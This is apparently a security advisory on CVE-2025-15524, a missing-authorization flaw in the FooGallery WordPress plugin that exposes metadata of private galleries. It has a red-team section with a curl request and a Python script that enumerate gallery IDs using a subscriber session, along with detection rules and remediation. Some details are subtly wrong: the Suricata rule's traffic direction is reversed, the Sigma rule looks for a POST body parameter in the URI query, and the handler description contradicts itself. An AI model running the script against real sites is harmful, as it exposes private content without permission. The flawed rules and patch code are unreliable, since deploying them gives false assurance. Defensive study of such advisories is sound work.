CVE-2025-15524

Executive Summary

CVE-2025-15524 is a Missing Authorization vulnerability in the FooGallery WordPress plugin (versions up to and including 3.1.9). The flaw resides in the ajax_get_gallery_info() function, which fails to perform a capability check before returning sensitive metadata. This allows authenticated attackers with Subscriber-level access or higher to enumerate gallery IDs and retrieve metadata (name, image count, thumbnail URL) of private, draft, and password-protected galleries.

The vulnerability has a CVSS v3.1 base score of 4.3 (Medium). The attack vector is network-based, requires low complexity, and low privileges (Subscriber). The impact is limited to confidentiality (Low) with no impact on integrity or availability. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

WordPress Ecosystem Context

This vulnerability is specific to the FooGallery plugin for WordPress. It is not related to Apache, Nginx, or any other web server software. The attack surface is limited to WordPress installations with the vulnerable plugin active.

CVSS Breakdown & Threat Level

Threat Level: Medium. While the CVSS score is moderate, the ability to enumerate private/draft galleries could lead to information disclosure and further targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) in the ajax_get_gallery_info() AJAX handler. The function is registered via wp_ajax_ and wp_ajax_nopriv_ hooks, but the code does not call current_user_can() or any other capability check before processing the request.

Vulnerable Code Path:

1. An authenticated user (Subscriber or higher) sends a POST request to /wp-admin/admin-ajax.php with action=foogallery_get_gallery_info and a gallery_id parameter.
2. The ajax_get_gallery_info() function retrieves the gallery post object using get_post().
3. It then extracts metadata (post title, image count, thumbnail URL) without verifying if the user has permission to view that specific gallery.
4. The metadata is returned in a JSON response.

Impact:

• Private Galleries: Attacker can see the name and thumbnail of galleries intended only for site administrators.
• Draft Galleries: Attacker can view unpublished galleries.
• Password-Protected Galleries: Attacker can see metadata without the password.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.1.9):

function ajax_get_gallery_info() {
    $gallery_id = intval($_POST['gallery_id']);
    $gallery = get_post($gallery_id);
    if (!$gallery) {
        wp_send_json_error('Gallery not found');
    }
    $data = array(
        'name' => $gallery->post_title,
        'image_count' => get_post_meta($gallery_id, 'foogallery_attachments', true),
        'thumbnail_url' => get_the_post_thumbnail_url($gallery_id, 'thumbnail')
    );
    wp_send_json_success($data);
}

Patched Code (Hypothetical):

function ajax_get_gallery_info() {
    // Add capability check
    if (!current_user_can('edit_posts')) {
        wp_send_json_error('Unauthorized');
    }
    $gallery_id = intval($_POST['gallery_id']);
    $gallery = get_post($gallery_id);
    if (!$gallery) {
        wp_send_json_error('Gallery not found');
    }
    // Check if gallery is published and public
    if ($gallery->post_status !== 'publish' || $gallery->post_password) {
        wp_send_json_error('Access denied');
    }
    $data = array(
        'name' => $gallery->post_title,
        'image_count' => get_post_meta($gallery_id, 'foogallery_attachments', true),
        'thumbnail_url' => get_the_post_thumbnail_url($gallery_id, 'thumbnail')
    );
    wp_send_json_success($data);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress installation with FooGallery <= 3.1.9
• Valid user account with Subscriber role or higher
• Ability to send POST requests to /wp-admin/admin-ajax.php

Exploitation Steps:

1. Enumerate Gallery IDs: Use a simple loop to guess gallery IDs (typically sequential integers starting from 1).
2. Send Malicious Request:

curl -X POST \
  'http://target.com/wp-admin/admin-ajax.php' \
  -d 'action=foogallery_get_gallery_info&gallery_id=1' \
  --cookie 'wordpress_logged_in_xxx=your_session_cookie'

3. Parse Response: The server returns JSON with gallery metadata:

{
  "success": true,
  "data": {
    "name": "Private Gallery",
    "image_count": 5,
    "thumbnail_url": "http://target.com/wp-content/uploads/...jpg"
  }
}

Automated Enumeration Script (Python):

import requests
import sys

target = sys.argv[1]
session_cookie = sys.argv[2]

for gid in range(1, 100):
    r = requests.post(
        f"{target}/wp-admin/admin-ajax.php",
        data={
            'action': 'foogallery_get_gallery_info',
            'gallery_id': gid
        },
        cookies={'wordpress_logged_in_xxx': session_cookie}
    )
    if r.json().get('success'):
        print(f"Gallery {gid}: {r.json()['data']}")

Blue Team (Defender)

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action=foogallery_get_gallery_info from low-privilege users.
2. Look for sequential gallery ID enumeration patterns.
3. Check for unusual spikes in foogallery_get_gallery_info requests.

Honeypot Setup:

• Create a fake private gallery with ID 9999 and monitor for access attempts.
• Log all AJAX requests with action=foogallery_get_gallery_info and alert on non-admin users.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_15524_FooGallery_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts for CVE-2025-15524 in FooGallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15524"
        severity = "medium"
    strings:
        $ajax_action = "foogallery_get_gallery_info"
        $gallery_id = "gallery_id"
        $success_response = /"success":true,"data":\{"name":/
    condition:
        $ajax_action and $gallery_id and #success_response > 0
}

Sigma Rule

title: CVE-2025-15524 FooGallery Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts against CVE-2025-15524 in FooGallery WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'action=foogallery_get_gallery_info'
        cs-method: 'POST'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: medium
tags:
    - attack.t1589
    - cve.2025.15524

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15524 FooGallery Information Disclosure Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=foogallery_get_gallery_info"; http_client_body;
    content:"gallery_id"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-15524;
    priority:2;
)

Remediation & Mitigation

Immediate Actions

1. Update Plugin: Upgrade FooGallery to version 3.2.0 or later (once patch is released).
2. Disable Plugin: If update is not available, deactivate the plugin until a patch is applied.
3. Restrict User Roles: Remove Subscriber accounts that do not require access to the site.

Long-term Mitigations

1. Web Application Firewall (WAF): Block requests to admin-ajax.php with action=foogallery_get_gallery_info from non-admin users.
2. WordPress Hardening:
   • Implement custom capability checks for all AJAX handlers.
   • Use nonces and referrer checks.
3. Monitoring: Deploy the Sigma/Suricata rules above to detect exploitation attempts.
4. Least Privilege: Ensure users have only the minimum required permissions.

Patch Workaround (if source code is accessible)

Add the following check at the beginning of ajax_get_gallery_info():

if (!current_user_can('edit_posts')) {
    wp_send_json_error('Unauthorized');
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-15524